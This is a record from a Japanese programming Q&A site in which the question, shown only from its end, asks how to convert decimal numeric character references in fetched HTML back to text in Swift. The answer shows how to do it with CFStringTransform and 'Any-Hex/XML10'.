\n<http://www.benricho.org/moji_conv/15.html>\n\nよろしくお願いいたします。", "comment_count": 2, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-03T04:52:22.263", "favorite_count": 0, "id": "20554", "last_activity_date": "2016-01-03T11:26:22.330", "last_edit_date": "2016-01-03T11:26:22.330", "last_editor_user_id": "5519", "owner_user_id": "13866", "post_type": "question", "score": 1, "tags": [ "swift", "html" ], "title": "取得したデータの10進数数値文字参照を元のテキストに変換したい。", "view_count": 1017 }
[ { "body": "`CFStringTransform(_: CFMutableString!, _: UnsafeMutablePointer<CFRange>, _:\nCFString!, _: Bool) -> Bool`を使って変換するのが簡単です。\n\n<https://developer.apple.com/library/ios/documentation/CoreFoundation/Reference/CFMutableStringRef/#//apple_ref/c/func/CFStringTransform>\n\n数値文字参照から変換するにはtransform IDに`Any-Hex/XML10`を指定して、`reverse`パラメータは`true`とします。\n\n```\n\n CFStringTransform(str, nil, \"Any-Hex/XML10\", true)\n \n```\n\n例えば、下記のようにします。\n\n```\n\n let myUrl = NSURL(string:\"http://k2k.sagawa-exp.co.jp/p/sagawa/web/okurijosearch.do?okurijoNo=123456789012\")!\n let myRequest = NSURLRequest(URL: myUrl)\n \n let res = try! NSURLConnection.sendSynchronousRequest(myRequest, returningResponse: nil)\n \n if let myData = NSString(data:res, encoding: NSUTF8StringEncoding) {\n let str = NSMutableString(string: myData)\n CFStringTransform(str, nil, \"Any-Hex/XML10\", true)\n print(str)\n }\n \n```", "comment_count": 1, "content_license": "CC BY-SA 3.0", "creation_date": "2016-01-03T11:10:08.613", "id": "20563", "last_activity_date": "2016-01-03T11:10:08.613", "last_edit_date": null, "last_editor_user_id": null, "owner_user_id": "5519", "parent_id": "20554", "post_type": "answer", "score": 5 } ]
20554
20563
20563